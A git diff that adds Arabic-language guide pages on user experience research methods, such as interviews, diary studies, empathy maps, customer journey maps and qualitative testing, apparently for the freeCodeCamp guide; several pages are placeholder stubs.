+تُعد أساليب البحث الخاصة بالمستخدم رائعة في إنتاج البيانات والرؤى ، في حين تساعد الأنشطة المستمرة في إنجاز الأمور الصحيحة. إلى جانب أنشطة البحث والتطوير ، يمكن لأنشطة تجربة المستخدم المستمرة أن تجعل جهود الجميع أكثر فعالية وقيمة. في كل مرحلة من مراحل عملية التصميم ، يمكن أن تحافظ أساليب مختلفة في تجربة المستخدم على جهود تطوير المنتجات على المسار الصحيح ، وذلك بالاتفاق مع احتياجات المستخدم الحقيقية وليس مع الاحتياجات الخيالية.
+
+#### 20 طريقة UX باختصار
+
+فيما يلي وصف موجز لطرق بحث المستخدم الموضحة في المخطط أعلاه:
+
+_دراسات قابلية الاستخدام - المختبر:_ يتم إحضار المشاركين إلى مختبر ، واحد مع واحد مع باحث ، ويعطون مجموعة من السيناريوهات التي تؤدي إلى المهام والاستخدامات ذات الاهتمام الخاص في منتج أو خدمة.
+
+_الدراسات الميدانية الإثنوغرافية:_ يلتقي الباحثون ويدرسون المشاركين في بيئتهم الطبيعية ، حيث من المرجح أن يواجهوا المنتج أو الخدمة المعنية.
+
+_التصميم التشاركي:_ يتم إعطاء المشاركين عناصر تصميم أو مواد إبداعية من أجل بناء خبرتهم المثالية بطريقة محددة تعبر عما يهمهم أكثر ولماذا. مجموعات التركيز: تقوم المجموعات المكونة من 3-12 مشاركًا بإجراء مناقشة حول مجموعة من الموضوعات ، حيث تقدم ملاحظات شفهية وخطية من خلال المناقشة والتمارين.
+
+_المقابلات:_ يجتمع الباحث مع المشاركين على انفراد لمناقشة ما يفكر فيه المشارك حول الموضوع المعني بعمق.
+
+_Eyetracking:_ يتم تكوين جهاز eyetracking ليقاس بدقة المكان الذي يظهر فيه المشاركون أثناء أدائهم للمهام أو يتفاعلون بشكل طبيعي مع مواقع الويب أو التطبيقات أو المنتجات المادية أو البيئات.
+
+_قابلية الاستخدام المقارنة:_ يتم إجراء دراسات قابلية الاستخدام بدقة مع العديد من المشاركين باستخدام مقاييس دقيقة ومحددة الأداء.
+
+_دراسات قابلية الاستخدام عن بُعد خاضعة للإشراف:_ أجريت دراسات قابلية الاستخدام عن بُعد باستخدام أدوات مثل برامج مشاركة الشاشة وقدرات التحكم عن بُعد.
+
+_دراسات اللوحات عن بُعد غير المشفرة: تستخدم_ مجموعة من المشاركين المدربين الذين لديهم برامج تسجيل فيديو _وتجميع_ بيانات مثبتة على أجهزتهم الشخصية موقعًا أو منتجًا أثناء التفكير بصوت عالٍ ، مع تسجيل خبرتهم في التشغيل الفوري والتحليل بواسطة الباحث أو الشركة.
+
+_اختبار المفاهيم:_ يشترك الباحث في تقريب منتج أو خدمة يبرز الجوهر الرئيسي (اقتراح القيمة) لمفهوم أو منتج جديد من أجل تحديد ما إذا كان يلبي احتياجات الجمهور المستهدف ؛ يمكن أن يتم ذلك على انفراد أو مع عدد أكبر من المشاركين ، إما شخصيًا أو عبر الإنترنت.
+
+_يوميات / دراسات الكاميرا:_ يتم إعطاء المشاركين آلية (مذكرات أو كاميرا) لتسجيل ووصف جوانب حياتهم ذات الصلة بمنتج أو خدمة ، أو ببساطة الأساسية للجمهور المستهدف ؛ تكون دراسات اليوميات طوليًا ولا يمكن إجراؤها إلا للبيانات التي يسجلها المشاركون بسهولة.
+
+_ملاحظات العملاء: معلومات_ مفتوحة و / أو قريبة توفرها عينة مختارة ذاتيًا من المستخدمين ، غالبًا من خلال رابط التعليقات ، أو الزر ، أو النموذج ، أو البريد الإلكتروني.
+
+_دراسات الاستحسان:_ يقدم المشاركون بدائل مختلفة للتصميم المرئي ومن المتوقع أن يربط كل بديل بمجموعة من السمات المختارة من قائمة مغلقة ؛ هذه الدراسات يمكن أن تكون نوعية وكمية.
+
+_فرز البطاقات:_ طريقة كمية أو نوعية تطلب من المستخدمين تنظيم العناصر في مجموعات وتعيين فئات لكل مجموعة. تساعد هذه الطريقة في إنشاء أو تحسين بنية المعلومات الخاصة بالموقع من خلال الكشف عن النماذج العقلية للمستخدمين.
+
+_تحليل Clickstream:_ تحليل سجل الشاشات أو الصفحات التي ينقر عليها المستخدمون ويراها ، حيث يستخدمون موقعًا أو منتجًا برمجيًا ؛ يتطلب هذا الموقع أن يتم تجهيزه بشكل صحيح أو أن يتم تمكين تطبيق جمع بيانات القياس عن بعد.
+
+_اختبار A / B (يُعرف أيضًا باسم "اختبار النسخ المختلفة من الأقسام" أو "الاختبار المباشر" أو "اختبار الجردل"):_ وهو طريقة لاختبار التصميمات المختلفة بشكلٍ علمي على موقع ما عن طريق تعيين مجموعات عشوائية من المستخدمين للتفاعل مع كل من التصميمات المختلفة قياس تأثير هذه المهام على سلوك المستخدم.
+
+_دراسات UX غير المشفرة:_ طريقة كميّة أو نوعية وأتمتة تستخدم أداة بحث متخصصة لالتقاط سلوكيات المشاركين (من خلال البرامج المثبتة على أجهزة الكمبيوتر / المتصفّحات المشاركين) والمواقف (من خلال أسئلة المسح المضمّنة) ، عادةً من خلال إعطاء أهداف أو سيناريوهات المشاركين لتحقيقها. موقع أو نموذج أولي.
+
+_دراسات نوايا صحيحة (True-Intent Studies):_ طريقة تطلب من زوار الموقع العشوائيين ما هو هدفهم أو نيتهم ​​عند دخول الموقع ، وقياس سلوكهم اللاحق ، ويسألون عما إذا كانوا ناجحين في تحقيق هدفهم عند الخروج من الموقع.
+
+_استطلاعات الاستقصاء:_ استطلاع يتم تشغيله أثناء استخدام موقع أو تطبيق.
+
+_استطلاعات البريد الإلكتروني:_ استطلاع تم فيه تعيين المشاركين من رسالة بريد إلكتروني.
+
+#### معلومات اكثر:
+
+[ورقة غش البحوث UX](https://www.nngroup.com/articles/ux-research-cheat-sheet/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/contextual-inquiries/index.md b/client/src/guide/arabic/user-experience-research/contextual-inquiries/index.md
new file mode 100644
index 0000000000..b35d1b1e20
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/contextual-inquiries/index.md
@@ -0,0 +1,18 @@
+---
+title: Contextual Inquiries
+localeTitle: استعلامات السياقية
+---
+## استعلامات السياقية
+
+الاستقصاء السياقي عبارة عن طريقة مقابلة شبه منظمة للحصول على معلومات حول سياق الاستخدام ، حيث يُطلب من المستخدمين أولاً مجموعة من الأسئلة القياسية ثم يتم ملاحظتها والاستجواب أثناء عملهم في بيئاتهم الخاصة.
+
+نظرًا لإجراء مقابلات مع المستخدمين في بيئاتهم الخاصة ، فإن بيانات التحليل أكثر واقعية من البيانات المختبرية. يستند البحث السياقي إلى مجموعة من المبادئ التي تسمح بتشكيلها في مواقف مختلفة. تستخدم هذه التقنية بشكل عام في بداية عملية التصميم وهي جيدة للحصول على معلومات غنية عن ممارسات العمل والبيئات الاجتماعية والتقنية والفيزيائية وأدوات المستخدم.
+
+المبادئ الأربعة للاستعلام السياقي هي:
+
+*   التركيز - خطة للتحقيق ، بناء على فهم واضح للغرض الخاص بك
+*   السياق - اذهب إلى مكان عمل العميل وشاهده يقوم بعمله الخاص
+*   الشراكة - تحدث إلى العملاء عن أعمالهم واشترك معهم في الكشف عن جوانب العمل غير المفصلة
+*   التفسير - تطوير فهم مشترك مع العميل حول جوانب العمل المهمة
+
+يمكن استخدام نتائج البحث السياقية لتحديد المتطلبات ، وتحسين العملية ، ومعرفة ما هو مهم للمستخدمين والزبائن ، ومجرد معرفة المزيد عن مجال جديد لإعلام المشاريع المستقبلية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/customer-empathy/index.md b/client/src/guide/arabic/user-experience-research/customer-empathy/index.md
new file mode 100644
index 0000000000..77cce0dbc8
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/customer-empathy/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Empathy
+localeTitle: تعاطف العملاء
+---
+## تعاطف العملاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/customer-empathy/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/customer-interviews/index.md b/client/src/guide/arabic/user-experience-research/customer-interviews/index.md
new file mode 100644
index 0000000000..3aada85791
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/customer-interviews/index.md
@@ -0,0 +1,34 @@
+---
+title: Customer Interviews
+localeTitle: مقابلات العملاء
+---
+## مقابلات العملاء
+
+بناء شخصيات في بعض الأحيان تنطوي على البحوث. يمكن أن يكون هذا البحث في شكل مقابلات مع العملاء. هذا هو تفاعل واحد مع واحد مع المستخدمين الحاليين أو المحتملين. يتم استخدامه لاكتساب معلومات نوعية عن مستخدمي منتجك.
+
+عادة ما يتم ذلك من قبل شخصين: واحد يقوم بالاستجواب بينما يقوم الشخص الآخر بتدوين الملاحظات. الأسئلة تتركز عادة حول:
+
+*   خلفية.
+*   التركيبة السكانية.
+*   معرفات.
+*   أهداف.
+*   التحديات.
+*   الحلول الممكنة.
+
+قبل الالتزام ببناء منتج ، من المهم معرفة من تقوم ببنائه. بمجرد تحديدك للجمهور (الذي تتوقعه لعملائك) لمنتجك ، يجب أن تجد مجموعة من الأشخاص الذين يستوفون هذه المعايير ، وتطرح عليهم الأسئلة. على سبيل المثال ، إذا كنت تخطط لإنشاء نظام أساسي للأمهات الجدد لجدولة مواعيد التشغيل لأطفالهم ، يجب أن تسأل بعض الأمهات حول ما يحتاجون إليه من برنامجك.
+
+عندما تقوم بمقابلة العملاء ، من المهم التركيز على المشكلة التي تحلها ، بدلاً من التركيز على التقنية التي تقوم ببنائها. أنت تريد إجراء محادثة مفتوحة مع العميل المحتمل ، ولكن لديك بعض الإرشادات حول المعلومات التي تريدها منها. اسأل العملاء المحتملين إذا كان هناك أي شيء لم تطلبه منهم ، أو إذا كان بإمكانهم التفكير في شخص آخر يجب أن تتحدث معه.
+
+عند التواصل مع شخص ما للمشاركة في مقابلة العملاء ، تذكر أنك لا تبيع أي شيء حتى الآن. كن محترما من وقتهم. قد تحصل على 10-20 دقيقة فقط. إذا كنت تستطيع تعويضهم عن وقتهم ، فهذه فكرة جيدة.
+
+كن حذرًا عند تصميم أسئلتك بحيث لا تجبر على الاستجابة التي تبحث عنها للتحقق من صحة افتراضاتك. في بعض الأحيان ، يمكن أن تجعل صياغة السؤال أحد المستجيبين يقدم إجابة لا يفكرون عادة في تقديمها. عند السؤال عن سلوك العميل المحتمل ، اسأل عن الحاضر ، بدلاً من ما يخطط للقيام به في المستقبل. سيعطي ذلك نظرة أكثر دقة وأقل مثالية لكيفية تفاعل العميل مع منتجك.
+
+تجنب الحديث عن منتجك. أنت لا تريد أن تصبها: لم يتم بناؤها بعد. ترغب في معرفة المزيد عن المشاكل التي يواجهها المستخدمون حتى يمكنك بناء الحل الأفضل. هذا أيضا يلغي الحاجة إلى عدم الكشف عن الاتفاقات. لا تطلب من العميل المحتمل التوقيع على واحد.
+
+شجع الشخص الذي قابلته على إخبارك بالقصص. كنت تبحث عن بيانات نوعية في هذه المرحلة. سيكون امتلاك هذه القصص مفيدًا أيضًا عندما تذهب إلى عرض منتجك ، لأنه يوضح أن لديك فهمًا أكبر للمشكلة التي تحلها. خذ الكثير من الملاحظات حتى تتذكر هذه القصص!
+
+#### معلومات اكثر:
+
+*   [ما يفعل وما يمنع من مقابلات العملاء](https://venturewell.org/customer-interviews/)
+*   [زاكاري كوهن عرض نصائح العملاء مقابلة](https://www.slideshare.net/ZacharyCohn/18-customer-interview-tips)
+*   "مقابلات المستخدم - دليل المبتدئين." theUXreview، 25 Oct. 2017، http://theuxreview.co.uk/user-interviews-the-beginners-guide/.
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/customer-journey-maps/index.md b/client/src/guide/arabic/user-experience-research/customer-journey-maps/index.md
new file mode 100644
index 0000000000..e99cafd739
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/customer-journey-maps/index.md
@@ -0,0 +1,29 @@
+---
+title: Customer Journey Maps
+localeTitle: خرائط رحلة العملاء
+---
+## خرائط رحلة العملاء
+
+### ما هي خريطة رحلة العميل؟
+
+رسم خرائط رحلة العميل هو أداة لتخطيط قصة المستخدم بأكملها ككل - بدءًا من الاتصال الأولي والاستخدام حتى التخلي عن الخدمة.
+
+### كيف تبدو؟
+
+يمكن لخرائط رحلة العميل أن تحتوي على العديد من الأشكال ، وعادة ما تتكون من وصف لاحتياجات المستخدم ، ومشاعره ، ودوافعه ، ونقاط الاتصال (مثل البريد الإلكتروني ، وخط هاتف خدمة العملاء ، والأجهزة المختلفة ، وما إلى ذلك) ، والتفاعلات وأعضاء الفريق المسؤولين عن الحل داخل تلك التفاعلات.
+
+![مثال على خريطة رحلة العميل](https://www.dragon1.com/images/customer-journey-mapping-2.png)
+
+### كيف تصنع واحد؟
+
+يبدأ بناء هذه الخريطة بأبحاث مستفيضة من المستخدمين - كميًا ونوعيًا ثم يعيّنها على النتائج المرجوة للخدمة.
+
+### لماذا نحن في حاجة إليها؟
+
+يساعد الفريق في بناء أو صيانة خدمة أو تطبيق أو موقع ويب للاطلاع على سياق التجربة بأكملها في مكان واحد. كما أنه يساعد على تحديد نقاط الضعف وفرص العملية. السبب الرئيسي لإنشاء هذه الخريطة هو الاستمرار في التركيز على المستخدم وليس على الجوانب الفنية أو التنظيمية أو غيرها من جوانب بناء الخدمة.
+
+### مزيد من المعلومات حول إنشاء خريطة رحلة العميل:
+
+*   [كيفية إنشاء خريطة رحلة العميل](https://uxmastery.com/how-to-create-a-customer-journey-map/)
+*   [الغموض - رسم خرائط رحلة الزبون](http://www.disambiguity.com/customer-journey-mapping/)
+*   [شاهد هذا الفيديو لمزيد من المعلومات](https://youtu.be/mSxpVRo3BLg)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/data-driven-design/index.md b/client/src/guide/arabic/user-experience-research/data-driven-design/index.md
new file mode 100644
index 0000000000..1c43e75ed5
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/data-driven-design/index.md
@@ -0,0 +1,13 @@
+---
+title: Data Driven Design
+localeTitle: تصميم يحركه البيانات
+---
+## تصميم يحركه البيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/data-driven-design/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[شاهد هذا الفيديو لمزيد من المعلومات](https://youtu.be/N_kcRB8O3aI)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/defining-the-problem/index.md b/client/src/guide/arabic/user-experience-research/defining-the-problem/index.md
new file mode 100644
index 0000000000..955452ce6b
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/defining-the-problem/index.md
@@ -0,0 +1,11 @@
+---
+title: Defining the Problem
+localeTitle: عرف المشكل
+---
+## عرف المشكل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/defining-the-problem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/diary-studies/index.md b/client/src/guide/arabic/user-experience-research/diary-studies/index.md
new file mode 100644
index 0000000000..22d31f044b
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/diary-studies/index.md
@@ -0,0 +1,13 @@
+---
+title: Diary Studies
+localeTitle: دراسات يوميات
+---
+## دراسات يوميات
+
+لفهم احتياجات مجموعة المستخدمين المستهدفين حقًا ، يجب عليك مراقبتها. الملاحظات ، في المقام الأول في شكل مشاكل قد يكون لدى المستخدم ، أو الاستيلاء على المستخدم ، أو الأخطاء التي يواجهها مستخدم المستخدم في كثير من الأحيان ، تعتبر ضرورية لفهم احتياجات المستخدمين. في كثير من الأحيان ، تصادف هذه المشاكل عادة من قبل المستخدم ، وأنها تفشل في إدراك أن هذا هو حاجة ، وبالتالي فإن المراقبة هي المفتاح. ومع ذلك ، ماذا لو كنت تريد حل حاجة في منطقة يصعب مراقبتها؟ أو ، ماذا لو كنت ترغب في جمع عدد كبير من الملاحظات والملاحظة المباشرة سيكون من الصعب للغاية تنفيذها؟ إذا كانت المهمة تتم بشكل غير منتظم أو بشكل متقطع أو يصعب مراقبتها لأي سبب من الأسباب ولكنك ترغب في مراقبتها ، فيمكنك غالبًا الاستفادة من دراسة اليوميات.
+
+في دراسة اليوميات ، تعطي شخصًا يوميات تكملها في وقت أو فاصل محدد. يسجلون ، بالنسبة لمهمة محددة ، قطعة معينة من البيانات ، مثل ، كيف يشعرون بعد التسوق لبعض الوقت أو ما يأكلونه لتناول العشاء. يمكن تسجيل دراسات اليوميات في مجموعة متنوعة من الوسائط. تعتبر المجلات والصور والصوت والفيديو جميعها طرقًا صالحة للمستخدم لتسجيل المعلومات ذات الصلة. بالطبع ، ضع في اعتبارك أن أفضل وسيط هو الأكثر ملاءمة للمستخدم لاستخدامه في سياق المهمة. لا ينبغي أن يتوقع من الشخص الذي يقود مسافات طويلة أن يكتب أثناء القيادة. بدلاً من ذلك ، سيكون التسجيل الصوتي أكثر ملاءمة في هذه الحالة. وبالعكس ، إذا كنت ترغب في أن يقوم شخص ما بتسجيل أفكاره أثناء المحاضرة ، فإن العمل اليومي هو حل أفضل لأن التحدث أثناء صمت محاضرة سيكون غير مناسب. أسهل بالنسبة للمستخدم لتسجيل البيانات بالنسبة لك ، فإن النتائج أفضل ستحصل. ضع في اعتبارك أيضًا أن المستخدمين قد ينسون تسجيل إدخالات لك. إذا قمت بتوفير الممارسة ، والاستفادة الجيدة من العظة البيئية ، يمكن أن يساعد دراستك إلى حد كبير. على سبيل المثال ، إذا كنت تعلم أن العديد من المستخدمين المستهدفين لديك لديهم هواتف ذكية ، وسوف يستخدمونها بشكل متكرر في السياق الذي تريد تسجيله ، على سبيل المثال ، ركوب حافلة أو مترو ، أو اعرض لهم كيفية تسجيل البيانات على هواتفهم الذكية. ويعني انخفاض العائق أمام المستخدمين القادرين على تلبية طلباتك أنه سيكون من الأرجح أن يتذكروا القيام بذلك ، ومن المرجح أن يعطوك بيانات جيدة لاستخدامها في مشروعك.
+
+#### معلومات اكثر:
+
+[استراتيجيات التزويد](https://www.youtube.com/watch?v=c-rUGDomtz4)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/empathy-maps/index.md b/client/src/guide/arabic/user-experience-research/empathy-maps/index.md
new file mode 100644
index 0000000000..5bdef560a3
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/empathy-maps/index.md
@@ -0,0 +1,27 @@
+---
+title: Empathy Maps
+localeTitle: التعاطف الخرائط
+---
+## التعاطف الخرائط
+
+![رسم تخطيطي لخريطة التعاطف بما في ذلك وجه بشري في المركز ، وتحيط بها عبارات "Think & Feel؟" "نرى؟" "قل & تفعل؟" "سمع؟" "ألم" و "كسب".](https://www.solutionsiq.com/images/Empathy-Map-No-Stickies.png)
+
+تخطيط Empathy هو أداة تستخدم لتوقع الأفكار والعواطف والحاجات وردود فعل مستخدم الواجهة. يمكن استخدامها مع الأشخاص المستخدمين في أبحاث تجربة المستخدم في بداية عملية التصميم ، من أجل تحديد المشاكل التي يواجهها المستخدم ، وكيف يمكن أن يساعد تصميم الواجهة في حلها.
+
+وهو مكون رئيسي في التصميم المرتكز على المستخدم. ماذا يحتاج المستخدم ويريد؟ ما هي التحديات التي تواجه المستخدم وأهدافه؟ في تصميم تجربة المستخدم ، يتم تحقيق التعاطف من خلال إجراء أبحاث المستخدم واستخدامها كخريطة طريق لتوجيه قرارات التصميم.
+
+يتم تنفيذ خرائط Empathy ، مثل الأشخاص ، في بداية عملية التصميم. يتم استخدامها لتجميع أبحاث المستخدمين لإنشاء تمثيل مستخدم واقعي ، ولكن خيالي أيضًا. خرائط Empathy سريعة في الرسم ، وعلى الرغم من أن محتوى خريطة التعاطف قد يتغير ، تشتمل مناطق المحتوى الشائعة على:
+
+تعمل خرائط Empathy بشكل أفضل عندما يقوم الباحثون بعملها بعد إجراء مقابلات مع المستخدمين. تستفيد جلسات رسم الخرائط التعاطف من مجموعة متنوعة من أعضاء الفريق: أصحاب المصلحة ، وقادة دعم العملاء ، والباعة ، ومطوري المنتجات ، ومندوبي المبيعات ، ومؤلفي النسخ.
+
+*   صورة المستخدم - بما أن خرائط التعاطف تتم عادةً بسرعة ، يمكنك تضمين رسم صغير لمستخدمك في وسط الخريطة.
+*   التفكير - ما هي دوافع المستخدم وأهدافه ورغباته؟
+*   القيام - ما هو الإجراء الذي يتخذه المستخدم؟ ما هو سلوكهم مثل؟
+*   قوله - ماذا يقول؟ هل يتعارض مع أفعالهم؟ استخدم عروض الأسعار والكلمات الرئيسية.
+*   الشعور - ما هي المشاعر التي يشعر بها المستخدم؟
+*   آلام - هل هناك أي مشاكل يواجهها المستخدم؟
+*   المكاسب - ما هي النتائج الإيجابية التي يأملها المستخدم؟
+
+قد تختلف خرائط Empathy قليلاً ، ولكن هذا هو الشكل الذي ستراه كثيرًا. بمجرد اكتمال الخريطة ، يمكنك استخدامها لتمييز احتياجات المستخدم الخاصة بك.
+
+![خريطة التعاطف](https://user-images.githubusercontent.com/33093078/32018246-e8c2b0d6-b98e-11e7-8d00-1a8374c18fdd.png)
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/feature-analysis/index.md b/client/src/guide/arabic/user-experience-research/feature-analysis/index.md
new file mode 100644
index 0000000000..0ea5963787
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/feature-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Analysis
+localeTitle: تحليل الميزة
+---
+## تحليل الميزة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/feature-analysis/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/feature-matrix/index.md b/client/src/guide/arabic/user-experience-research/feature-matrix/index.md
new file mode 100644
index 0000000000..ffb581cdd0
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/feature-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Matrix
+localeTitle: ميزة المصفوفة
+---
+## ميزة المصفوفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/feature-matrix/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/heuristic-review/index.md b/client/src/guide/arabic/user-experience-research/heuristic-review/index.md
new file mode 100644
index 0000000000..db4ba240ac
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/heuristic-review/index.md
@@ -0,0 +1,11 @@
+---
+title: Heuristic Review
+localeTitle: استعراض الكشف عن مجريات الأمور
+---
+## استعراض الكشف عن مجريات الأمور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/heuristic-review/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/hypotheses-and-validating-assumptions/index.md b/client/src/guide/arabic/user-experience-research/hypotheses-and-validating-assumptions/index.md
new file mode 100644
index 0000000000..81b5d0032f
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/hypotheses-and-validating-assumptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Hypotheses and Validating Assumptions
+localeTitle: الفرضيات و صحة الافتراضات
+---
+## الفرضيات و صحة الافتراضات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/hypotheses-and-validating-assumptions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/index.md b/client/src/guide/arabic/user-experience-research/index.md
new file mode 100644
index 0000000000..65717106c8
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/index.md
@@ -0,0 +1,9 @@
+---
+title: User Experience Research
+localeTitle: بحث تجربة المستخدم
+---
+## بحث تجربة المستخدم
+
+بحث المستخدم هو حقل يركز على فهم سلوكيات المستخدمين واحتياجاتهم ونواياهم وتوقعاتهم ودوافعهم من خلال تقنيات المراقبة وتحليل المهام ومنهجيات التغذية الراجعة الأخرى.
+
+في هذا القسم ، سيكون لدينا أدلة لمجموعة واسعة من مفاهيم أبحاث تجربة المستخدم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/landing-page-testing/index.md b/client/src/guide/arabic/user-experience-research/landing-page-testing/index.md
new file mode 100644
index 0000000000..1a3debd781
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/landing-page-testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Landing Page Testing
+localeTitle: اختبار الصفحة المقصودة
+---
+## اختبار الصفحة المقصودة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/user-experience-research/landing-page-testing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/user-experience-research/qualitative-testing/index.md b/client/src/guide/arabic/user-experience-research/qualitative-testing/index.md
new file mode 100644
index 0000000000..6e9dd497bc
--- /dev/null
+++ b/client/src/guide/arabic/user-experience-research/qualitative-testing/index.md
@@ -0,0 +1,63 @@
+---
+title: Qualitative Testing
+localeTitle: اختبار نوعي
+---
+## اختبار نوعي
+
+قد يكون الاختبار النوعي - الذي يمكن أن يأخذ شكل المقابلات أو اختبارات قابلية الاستخدام الأخرى ذات الملاحظة المباشرة (يمكن أن تكون شخصيًا أو عن طريق أدوات مؤتمرات الفيديو مثل Skype أو Google Hangouts) - أمرًا استكشافيًا ويهدف إلى كسب المزيد من فهم عميق لتجربة المستخدم. يهدف الاختبار النوعي إلى جمع المعلومات حول التجارب والحوافز اليومية للمستخدم أو المجموعة لمعرفة كيف قد تؤثر هذه التفاصيل على استخدام المنتج أو الأداة.
+
+### النتائج
+
+عند استخدام أساليب البحث النوعي ، من المهم أن يدرك الباحث أنه قد يكون له تأثير على نتائج البحث. نظرًا لأن التجربة البشرية يتم بحثها بدلاً من البيانات الثابتة (عدد النقرات واتجاهات موقع تسجيل الدخول وما إلى ذلك) ، فمن الصعب أن تظل موضوعية تمامًا أثناء الاختبار أو عند تقييم النتائج. النتائج أيضا لن تكون بالضرورة قابلة للتكرار. وذلك لأن العوامل التي تؤثر على تجربة المستخدم متنوعة ويمكن أن تتغير من يوم لآخر. يمكن أن تأخذ هذه العوامل شكل أن يكون المستخدم أكثر إزعاجًا يومًا أكثر من الآخر بسبب الأحداث الجديدة في حياته أو تحمل المزيد من المسؤوليات في ذلك اليوم ، حيث يمتلك المستخدمون تجارب حياة مختلفة تمامًا عن بعضهم البعض ، والطقس السيئ الذي يؤثر على مزاج المستخدم ، وأي شيء آخر يؤثر على حياة الشخص الشخصية أو العاطفية.
+
+عادة ما تظهر نتائج الاختبارات النوعية كمواضيع أو فئات بدلاً من الأرقام. 1
+
+### مثال
+
+إليك مثالاً رائعًا من [The Interaction Design Foundation](https://www.interaction-design.org/literature/article/best-practices-for-qualitative-user-research) على الفرق بين البحث الكمي والبحث النوعي:
+
+> لتوضيح الفرق ، لنفترض أنك تريد دراسة عادات ممارسة مجموعة المستخدمين. يمكنك اختيار دراسة هذه الطرق باستخدام أساليب البحث الكمي أو النوعي. **إذا كنت تستخدم طريقة _كمية_** ، يمكنك إنشاء استطلاع عبر الإنترنت وتوزيعه على عدد كبير من المشاركين. يجب على المشاركين الإجابة عن أسئلة محددة مسبقًا حول عادات تمارينهم مثل "كم عدد الساعات التي تمارسها في الأسبوع؟". إذا كنت تقوم بواجبك ، فمن الممكن تلخيص إجابات الاستطلاع عدديًا دون تحيز من رأيك أو تجربتك الشخصية مع التمرين.
+> 
+> **إذا كنت تستخدم طريقة _نوعية_** ، يمكنك اختيار إجراء مقابلات مع عدد محدود من المشاركين ، حيث تتحدث مع المشاركين حول متى وأين وكيف يمارسون. ولأن المقابلة تشبه محادثة ، فستعتمد نتائجك على كيفية طرح أسئلة المتابعة على إجابات المشاركين - وكيف ستعتمد هذه الإرادة إلى حد ما على شخصيتك وتجربتك الخاصة في التمرين. وبالمثل ، تعتمد نتائج المقابلة أيضًا ، إلى حد ما ، على تفسير ذاتي لما أخبرك به المشارك.
+
+### طرق الاختبار
+
+من " [12 بحثًا عن تقنيات UX (الكمية والنوعية)](https://medium.com/ux-design-web-mobile-virtual-reality/12-ux-research-techniques-quantitative-and-qualitative-1a37bcb1914e) " للمخرج كيفن دالفي:
+
+1.  **المقابلات -** تغطي بشكل أساسي ثلاثة أنواع من المقابلات:
+
